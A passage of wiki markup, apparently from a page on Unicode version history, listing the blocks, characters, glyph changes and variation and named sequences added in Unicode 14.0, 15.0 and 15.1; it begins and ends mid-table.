* (total 41 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA74, U+1FA83-U+1FA86, U+1FA96-U+1FAA8, U+1FAB0-U+1FAB6, U+1FAC0-U+1FAC2 and U+1FAD0-U+1FAD6)
* Gongche characters for Kunqu Opera (total 7 characters) were added to '''CJK Unified Ideographs Extension B'''. (U+2A6D7-U+2A6DD)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Tagalog
|1700..170C, 170E..1714
|20
|-
|Mongolian
|1834, 1871, 1878
|3
|-
|Sundanese
|1BAB
|1
|-
|Currency Symbols
|20BF
|1
|-
|CJK Radicals Supplement
|2E80..2E99, 2E9B..2EF3
|115
|-
|Kangxi Radicals
|2F00..2FD5
|214
|-
|CJK Unified Ideographs Extension A
|3472, 38C7, 3DB8, 3FE0, 440B, 46E9
|6
|-
|CJK Unified Ideographs
|53FD, 6146, 6711, 671C, 6721, 6725, 6BD2, 7B9A, 87CE, 8956, 93BF, 9B97
|12
|-
|Latin Extended-D
|A764..A765
|2
|-
|Phags-pa
|A86D
|1
|-
|Tangut
|175F6, 17F0D, 17F8A, 17FA5, 180D6, 18139, 18147, 184F1, 18736
|9
|-
|Tangut Components
|18843, 18856, 1888C, 1890A, 18915, 1893B
|6
|-
|Adlam
|1E900..1E94A, 1E950..1E959, 1E95E..1E95F
|71
|-
|Miscellaneous Symbols and Pictographs
|1F3B1
|1
|-
|Supplemental Symbols and Pictographs
|1F995..1F998, 1F99B..1F99E, 1F9B0..1F9B3, 1F9E7
|13
|-
|CJK Unified Ideographs Extension B
|20219, 21249, 21827, 22C3A, 2327B, 23496, 2355E, 2363B, 236ED, 23839, 23FD5, 24261, 24726, 248F2, 2548E, 26657, 26C9E, 26FE1, 27334, 27C0E, 27CEF, 2A38C
|22
|-
|CJK Unified Ideographs Extension C
|2AED5, 2AEF3, 2AF76, 2B09F, 2B1C3, 2B1E5
|6
|-
|CJK Unified Ideographs Extension E
|2B83C, 2B8D9..2B8DA, 2B96F, 2BBD7, 2BD61, 2BE4A, 2BF1D, 2BF9D, 2C0B8, 2C142, 2C176, 2C316, 2C3FB, 2C402, 2C7AC, 2C82C, 2C83A, 2C9A1, 2CC88, 2CD68
|21
|-
|CJK Unified Ideographs Extension F
|2DC09, 2DE4A, 2EB7E, 2EB89
|4
|-
|CJK Compatibility Ideographs Supplement
|2F83B, 2F878, 2F8D6..2F8D7, 2F8DA, 2F8F0, 2F984, 2FA02
|8
|-
! colspan=&quot;2&quot; |Total
!536
|}

== Unicode 14.0 ==

Unicode 14.0 was released on September 14, 2021. It encoded 144,697 characters, adding 838 new characters.

=== New blocks ===

* '''Arabic Extended-B''' (U+0870-U+089F), containing 41 characters, was added.
* '''Vithkuqi''' (U+10570-U+105BF), containing 70 characters, was added.
* '''Latin Extended-F''' (U+10780-U+107BF), containing 57 characters, was added.
* '''Old Uyghur''' (U+10F70-U+10FAF), containing 26 characters, was added.
* '''Unified Canadian Aboriginal Syllabics Extended-A''' (U+11AB0-U+11ABF), containing 16 characters, was added.
* '''Cypro-Minoan''' (U+12F90-U+12FFF), containing 99 characters, was added.
* '''Tangsa''' (U+16A70-U+16ACF), containing 89 characters, was added.
* '''Kana Extended-B''' (U+1AFF0-U+1AFFF), containing 13 characters, was added.
* '''Znamenny Musical Notation''' (U+1CF00-U+1CFFF), containing 185 characters, was added.
* '''Latin Extended-G''' (U+1DF00-U+1DFFF), containing 31 characters, was added.
* '''Toto''' (U+1E290-U+1E2BF), containing 31 characters, was added.
* '''Ethiopic Extended-B''' (U+1E7E0-U+1E7FF), containing 28 characters, was added.

=== Extended blocks ===

* An End of Text punctuation mark (total 1 character) was added to '''Arabic'''. (U+061D)
* Letters for Balti and Quranic orthography (total 12 characters) were added to '''Arabic Extended-A'''. (U+08B5 and U+08C8-U+08D2)
* A sign Nukta and letter Nakaara Pollu (total 2 characters) were added to '''Telugu'''. (U+0C3C and U+0C5D)
* A letter Nakaara Pollu (total 1 character) was added to '''Kannada'''. (U+0CDD)
* A letter Ra, sign Pamudpod and archaic letter Ra (total 3 characters) were added to '''Tagalog'''. (U+170D, U+1715 and U+171F)
* A fourth Free variation selector (total 1 character) was added to '''Mongolian'''. (U+180F)
* Combining diacritical marks for extended IPA (total 14 characters) were added to '''Combining Diacritical Marks Extended'''. (U+1AC1-U+1ACE)
* An archaic ligature Jnya and punctuation marks (total 3 characters) were added to '''Balinese'''. (U+1B4C and U+1B7D-U+1B7E)
* A combining Dot Below Left (total 1 character) was added to '''Combining Diacritical Marks Supplement'''. (U+1DFA)
* A Kyrgyz Som sign (total 1 character) was added to '''Currency Symbols'''. (U+20C0)
* A letter Caudate Chrivi (total 2 characters) were added to '''Glagolitic'''. (U+2C2F and U+2C5F)
* Medieval and phonetic punctuation marks (total 11 characters) were added to '''Supplemental Punctuation'''. (U+2E53-U+2E5D)
* Some ideographs for Macao (total 3 characters) were added to '''CJK Unified Ideographs'''. (U+9FFD-U+9FFF)
* Archaic European letters, modifier letters for Sokuon and Chatino orthography (total 13 characters) were added to '''Latin Extended-D'''. (U+A7C0-U+A7C1, U+A7D0-U+A7D1, U+A7D3, U+A7D5, U+A7D6-U+A7D9 and U+A7F2-U+A7F4)
* A modifier letter Wasla Above and honorifics (total 20 characters) were added to '''Arabic Presentation Forms-A'''. (U+FBC2, U+FD40-U+FD4F, U+FDCF and U+FDFE-U+FDFF)
* Letters for Old Tamil (total 6 characters) were added to '''Brahmi'''. (U+11070-U+11075)
* A vowel sign Vocalic R (total 1 character) was added to '''Khaiti'''. (U+110C2)
* An Abbreviation sign (total 1 character) was added to '''Takri'''. (U+116B9)
* Letters for Tai Ahom (total 7 characters) were added to '''Ahom'''. (U+11740-U+11746) The block was expanded from (U+11700-U+1173F) to (U+11700-U+1174F)
* Kana archaic letters (total 4 characters) were added to '''Kana Extended-A'''. (U+1B11F-U+1B122)
* Accidental symbols for Iranian classical music (total 2 characters) were added to '''Musical Symbols'''. (U+1D1E9-U+1D1EA)
* Playground Slide, Wheel and Ring Buoy emoji (total 3 characters) were added to '''Transportation and Map Symbols'''. (U+1F6DD-U+1F6DF)
* A Heavy Equals Sign emoji (total 1 character) was added to '''Geometric Shapes Extended'''. (U+1F7F0)
* A Troll and Face Holding Back Tears emoji (total 2 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F979 and U+1F9CC)
* (total 31 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA7B-U+1FA7C, U+1FAA9-U+1FAAC, U+1FAB7-U+1FABA, U+1FAC3-U+1FAC5, U+1FAD7-U+1FAD9, U+1FAE0-U+1FAE7 and U+1FAF0-U+1FAF6)
* Some ideographs for Macao (total 2 characters) were added to '''CJK Unified Ideographs Extension B'''. (U+2A6DE-U+2A6DF)
* Disunified ideographs and a G source ideograph for China, Hong Kong and Vietnam (total 4 characters) were added to '''CJK Unified Ideographs Extension C'''. (U+2B735-U+2B738)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Latin Extended-B
|0184..0185
|2
|-
|Arabic
|0674..0678, 06C5, 06C7, 06FE
|8
|-
|Letterlike Symbols
|210B, 2110, 2112, 211B, 212C, 2130..2131, 2133
|8
|-
|Enclosed Alphanumerics
|2460..24FF
|160
|-
|Dingbats
|2776..2793
|30
|-
|CJK Symbols and Punctuation
|3001..3029, 3030..303D, 303F
|56
|-
|CJK Strokes
|31C0..31E3
|36
|-
|Katakana Phonetic Extensions
|31F0..31FF
|16
|-
|Enclosed CJK Letters and Months
|3200..321E, 3220..32FF
|255
|-
|CJK Compatibiity
|3300..33FF
|256
|-
|CJK Unified Ideographs Extension A
|3777, 3B3F
|2
|-
|CJK Unified Ideographs
|5DD5, 652C, 6AC0
|3
|-
|Arabic Presentation Forms-A
|FBD7..FBD8, FBDD, FBE0..FBE1
|5
|-
|Vertical Forms
|FE10..FE19
|10
|-
|CJK Compatibiity Forms
|FE30..FE4F
|32
|-
|Small Form Variants
|FE50..FE52, FE54..FE66, FE68..FE6B
|26
|-
|Halfwidth and Fullwidth Forms
|FF01..FF9F, FFA1..FFBE, FFC2..FFC7, FFCA..FFCF, FFD2..FFD7, FFDA..FFDC, FFE0..FFE6, FFE8..FFEE
|225
|-
|Egyptian Hieroglyphs
|1300A, 13017, 1302D, 13032, 13034..13035, 13037..13038, 1303A..1303E, 1304E..1304F, 13055, 13057, 13068, 1309A, 130D2, 130D5, 130F6, 130FE, 13192, 1325F, 13267, 1326A, 13281, 13297, 1329E, 132B4, 132C1, 132E6, 13304, 1331F, 13378..1337B, 1337D..1337E, 133F3, 133FA..13403, 1340D, 13417, 1342B
|55
|-
|Mathematical Alphanumeric Symbols
|1D49C, 1D49E..1D49F, 1D4A2, 1D4A5..1D4A6, 1D4A9..1D4AC, 1D4AE..1D4B5
|18
|-
|Enclosed Alphanumeric Supplement
|1F100..1F1AD, 1F1E6..1F1FF
|200
|-
|Enclosed Ideographic Supplement
|1F200..1F202, 1F210..1F23B, 1F240..1F248, 1F250..1F251, 1F260..1F265
|64
|-
|Supplemental Symbols and Pictographs
|1F930
|1
|-
|CJK Unified Ideographs Extension B
|22ADC, 230F2, 25B27, 26F28
|4
|-
! colspan=&quot;2&quot; |Total
!1472
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|1D49C FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL A
|-
|212C FE00
|
|chancery style # SCRIPT CAPITAL B
|-
|1D49E FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL C
|-
|1D49F FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL D
|-
|2130 FE00
|
|chancery style # SCRIPT CAPITAL E
|-
|2131 FE00
|
|chancery style # SCRIPT CAPITAL F
|-
|1D4A2 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL G
|-
|210B FE00
|
|chancery style # SCRIPT CAPITAL H
|-
|2110 FE00
|
|chancery style # SCRIPT CAPITAL I
|-
|1D4A5 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL J
|-
|1D4A6 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL K
|-
|2112 FE00
|
|chancery style # SCRIPT CAPITAL L
|-
|2133 FE00
|
|chancery style # SCRIPT CAPITAL M
|-
|1D4A9 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL N
|-
|1D4AA FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL O
|-
|1D4AB FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL P
|-
|1D4AC FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Q
|-
|211B FE00
|
|chancery style # SCRIPT CAPITAL R
|-
|1D4AE FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL S
|-
|1D4AF FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL T
|-
|1D4B0 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL U
|-
|1D4B1 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL V
|-
|1D4B2 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL W
|-
|1D4B3 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL X
|-
|1D4B4 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Y
|-
|1D4B5 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Z
|-
|1D49C FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL A
|-
|212C FE01
|
|roundhand style # SCRIPT CAPITAL B
|-
|1D49E FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL C
|-
|1D49F FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL D
|-
|2130 FE01
|
|roundhand style # SCRIPT CAPITAL E
|-
|2131 FE01
|
|roundhand style # SCRIPT CAPITAL F
|-
|1D4A2 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL G
|-
|210B FE01
|
|roundhand style # SCRIPT CAPITAL H
|-
|2110 FE01
|
|roundhand style # SCRIPT CAPITAL I
|-
|1D4A5 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL J
|-
|1D4A6 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL K
|-
|2112 FE01
|
|roundhand style # SCRIPT CAPITAL L
|-
|2133 FE01
|
|roundhand style # SCRIPT CAPITAL M
|-
|1D4A9 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL N
|-
|1D4AA FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL O
|-
|1D4AB FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL P
|-
|1D4AC FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Q
|-
|211B FE01
|
|roundhand style # SCRIPT CAPITAL R
|-
|1D4AE FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL S
|-
|1D4AF FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL T
|-
|1D4B0 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL U
|-
|1D4B1 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL V
|-
|1D4B2 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL W
|-
|1D4B3 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL X
|-
|1D4B4 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Y
|-
|1D4B5 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Z
|}

===Named Sequences===
Here is a table with new named character sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Name
|-
|0915 093C
|DEVANAGARI SEQUENCE FOR LETTER QA
|-
|0916 093C
|DEVANAGARI SEQUENCE FOR LETTER KHHA
|-
|0917 093C
|DEVANAGARI SEQUENCE FOR LETTER GHHA
|-
|091C 093C
|DEVANAGARI SEQUENCE FOR LETTER ZA
|-
|0921 093C
|DEVANAGARI SEQUENCE FOR LETTER DDDHA
|-
|0922 093C
|DEVANAGARI SEQUENCE FOR LETTER RHA
|-
|092B 093C
|DEVANAGARI SEQUENCE FOR LETTER FA
|-
|092F 093C
|DEVANAGARI SEQUENCE FOR LETTER YYA
|-
|09A1 09BC
|BENGALI SEQUENCE FOR LETTER RRA
|-
|09A2 09BC
|BENGALI SEQUENCE FOR LETTER RHA
|-
|09AF 09BC
|BENGALI SEQUENCE FOR LETTER YYA
|-
|0A32 0A3C
|GURMUKHI SEQUENCE FOR LETTER LLA
|-
|0A38 0A3C
|GURMUKHI SEQUENCE FOR LETTER SHA
|-
|0A16 0A3C
|GURMUKHI SEQUENCE FOR LETTER KHHA
|-
|0A17 0A3C
|GURMUKHI SEQUENCE FOR LETTER GHHA
|-
|0A1C 0A3C
|GURMUKHI SEQUENCE FOR LETTER ZA
|-
|0A2B 0A3C
|GURMUKHI SEQUENCE FOR LETTER FA
|-
|0B21 0B3C
|ORIYA SEQUENCE FOR LETTER RRA
|-
|0B22 0B3C
|ORIYA SEQUENCE FOR LETTER RHA
|}

== Unicode 15.0 ==

Unicode 15.0 was released on September 13, 2022. It encoded 149,186 characters, adding 4,489 new characters.

=== New blocks ===

* '''Arabic Extended-C''' (U+10EC0-U+10EFF), containing 3 characters, was added.
* '''Devanagari Extended-A''' (U+11B00-U+11B5F), containing 10 characters, was added.
* '''Kawi''' (U+11F00-U+11F5F), containing 86 characters, was added.
* '''Kaktovik Numerals''' (U+1D2C0-U+1D2DF), containing 20 characters, was added.
* '''Cyrillic Extended-D''' (U+1E030-U+1E08F), containing 63 characters, was added.
* '''Nag Mundari''' (U+1E4D0-U+1E4FF), containing 42 characters, was added.
* '''CJK Unified Ideographs Extension H''' (U+31350-U+323AF), containing 4192 characters, was added.

=== Extended blocks ===

* A Yamakkan (total 1 character) was added to '''Lao'''. (U+0ECE)
* A combining Anusvara Above Right (total 1 character) was added to '''Kannada'''. (U+0CF3)
* Letters Qa, Short I and Vocalic R (total 3 characters) were added to '''Khojki'''. (U+1123F-U+11241)
* An additional hieroglyph to Group V (total 1 character) was added to '''Egyptian Hieroglyphs'''
* Extended format controls (total 29 characters) were added to '''Egyptian Hieroglyph Format Controls'''. (U+13439-U+13455). The block was expanded from (U+13430-U+1343F) to (U+13430-U+1345F)
* Hiragana and Katakana Small Ko (total 2 characters) were added to '''Small Kana Extension'''. (U+1B132 and U+1B155)
* Letters for Malayalam transliteration (total 6 characters) were added to '''Latin Extended-G'''. (U+1DF25-U+1DF2A)
* A Wireless emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6DC)
* A Nine Pointed White Star (total 1 character) was be added to '''Geometric Shapes Extended'''. (U+1F7D9)
* A Lot of Fortune, eclipse symbols and symbols for dwarf planets (total 6 characters) were added to '''Alchemical symbols'''. (U+1F774-U+1F776 and U+1F77B-U+1F77F)
* (total 20 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA75-U+1FA77, U+1FA87-U+1FA88, U+1FAAD-U+1FAAF, U+1FABB-U+1FABF, U+1FACE-U+1FACF, U+1FADA-U+1FADB, U+1FAE8 and U+1FAF7-U+1FAF8)
* A disunified ideograph for Macao (total 1 character) was added to '''CJK Unified Ideographs Extension C'''. (U+2B739)

===Glyph Changes===

Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|IPA Extensions
|025E, 029A
|2
|-
|United Canadian Aboriginal Syllabics
|144B, 14D1, 1506, 15C0..15C3, 15E8..15EE, 1601, 1604..1607, 160A..160D, 1614..162D, 1630..163F, 1646..1647, 165A
|66
|-
|United Canadian Aboriginal Syllabics Extended
|18DB, 18EC, 18F1..18F2, 18F5
|5
|-
|Sundanese
|1BBF
|1
|-
|Optical Character Recognition
|2447
|1
|-
|CJK Unified Ideographs Extension A
|34DC, 3BF6, 3C43, 48B4, 4DBE
|5
|-
|CJK Unified Ideographs
|585F, 5F50, 6BC0, 7BC9, 833E
|5
|-
|Cyrillic Extended-B
|A66E
|1
|-
|Old Turkic
|10C47
|1
|-
|Egyptian Hieroglyphs
|various (new standardized variation sequences)
|94
|-
|Khitan Small Script
|18CCA
|1
|-
|Wancho (font update)
|1E2C0..1E2F9, 1E2FF
|59
|-
|Alchemical Symbols (font update)
|1F700..1F773
|116
|-
|CJK Unified Ideographs Extension B
|20048, 20A1C, 2143F, 21A5F, 21C08, 21FBA, 22ACF, 23392, 238A7, 23D8F, 23F4E, 25D20, 26E30, 27B48, 27C4F, 28633, 28B02, 28E9A, 29760, 2A60F
|20
|-
|CJK Unified Ideographs Extension C
|2B249
|1
|-
|CJK Unified Ideographs Extension E
|2BB37, 2BD7D, 2C151, 2C1E0, 2C2D6, 2C5CA, 2C810, 2CD34
|8
|-
|CJK Unified Ideographs Extension F
|2CF4E, 2D25D, 2D3EC, 2D6A7, 2D7BA, 2D979, 2DA74, 2DA97, 2DC13, 2DDC0, 2DF10, 2DF78, 2E05A, 2E0AE, 2E516, 2E640, 2E680, 2EA63
|18
|-
|CJK Compatibility Ideographs Supplement
|2F804, 2F805, 2F833, 2F835, 2F84C, 2F84F, 2F852, 2F855, 2F887, 2F88B, 2F899, 2F8A0, 2F8A6, 2F8A7, 2F8AD, 2F8B1, 2F8B4, 2F8B7, 2F8BA, 2F8D0, 2F8E0..2F8E2, 2F8E5, 2F8E6, 2F8FE, 2F900, 2F901, 2F907, 2F912, 2F922, 2F926, 2F936, 2F938, 2F94E, 2F959, 2F95F, 2F96C, 2F99F, 2F9B8, 2F9BA, 2F9D3, 2F9DB, 2F9DC, 2F9E8, 2F9EA, 2F9EE, 2FA00, 2FA0D, 2FA1B
|50
|-
|CJK Unified Ideographs Extension G
|302FC, 30723, 30A6D, 30CF7, 30DBF, 31006, 3105D
|7
|-
! colspan=&quot;2&quot; |Total
!461
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|13091 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH D027
|-
|13092 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH D027A
|-
|13093 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH D028
|-
|130A9 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH D047
|-
|1310F FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F016
|-
|13117 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH F023
|-
|1311C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F028
|-
|13121 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F032
|-
|13127 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F037A
|-
|13139 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F051
|-
|13139 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH F051
|-
|13183 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH H005
|-
|13187 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH H008
|-
|131A0 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH K006
|-
|131A0 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH K006
|-
|131B1 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M003
|-
|131B1 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH M003
|-
|131B8 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M009
|-
|131B9 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M010
|-
|131BA FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH M010A
|-
|131CB FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M017
|-
|131EE FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH M044
|-
|131EE FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH M044
|-
|131F8 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N010
|-
|131F9 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH N011
|-
|131F9 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N011
|-
|131FA FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH N012
|-
|131FA FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N012
|-
|13216 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH N035
|-
|13257 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH O006
|-
|1327B FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH O029
|-
|1327F FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O031
|-
|1327F FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH O031
|-
|13285 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O036
|-
|1328C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O039
|-
|132A4 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH P008
|-
|132A4 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH P008
|-
|132AA FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Q003
|-
|132CB FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH R024
|-
|132DC FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH S010
|-
|132E7 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH S018
|-
|132E7 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S018
|-
|132E9 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S020
|-
|132F8 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S033
|-
|132FD FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S037
|-
|13302 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S042
|-
|13303 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S043
|-
|13307 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T001
|-
|13308 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T002
|-
|13310 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T008
|-
|13311 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T008A
|-
|13312 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T009
|-
|13312 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T009
|-
|13313 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T009A
|-
|13313 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T009A
|-
|13314 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T010
|-
|13314 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T010
|-
|1331B FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T016
|-
|1331B FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T016
|-
|1331C FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T016A
|-
|13321 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T021
|-
|13321 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T021
|-
|13322 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T022
|-
|13322 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T022
|-
|13331 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T035
|-
|13331 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T035
|-
|1333B FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH U007
|-
|1333C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH U008
|-
|1334A FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH U022
|-
|13361 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH U042
|-
|13373 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V007A
|-
|13377 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V010
|-
|13378 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V011
|-
|1337D FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V012A
|-
|13385 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V019
|-
|13399 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V026
|-
|1339A FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V027
|-
|133AF FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W001
|-
|133B0 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W002
|-
|133BF FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W014
|-
|133D3 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH X004A
|-
|133DD FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH Y002
|-
|133F2 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z007
|-
|133F5 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z010
|-
|133F6 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z011
|-
|13403 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z015I
|-
|13416 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA008
|-
|13419 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|13419 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|13419 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|1341A FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA012
|-
|13423 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA021
|-
|1342C FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA030
|-
|1342E FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA032
|-
|13443 FE00
|
|expanded # EGYPTIAN HIEROGLYPH LOST SIGN
|-
|13444 FE00
|
|expanded # EGYPTIAN HIEROGLYPH HALF LOST SIGN
|-
|13445 FE00
|
|expanded # EGYPTIAN HIEROGLYPH TALL LOST SIGN
|-
|13446 FE00
|
|expanded # EGYPTIAN HIEROGLYPH WIDE LOST SIGN
|}

== Unicode 15.1 ==

Unicode 15.1 was released on September 12th, 2023. It encoded 149,813 characters, adding 627 new characters.

=== New Blocks ===
* '''CJK Unified Ideographs Extension I''' (U+2EBF0-U+2EE5F), containing 622 characters, was added.

=== Extended Blocks ===

* 4 Ideographic characters were added to '''Ideographic Description Characters'''. (U+2FFC-U+2FFF)
* An Ideographic subtraction (total 1 character) was added to '''CJK Strokes'''. (U+31EF)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count

|-
|CJK Unified Ideographs Extension A
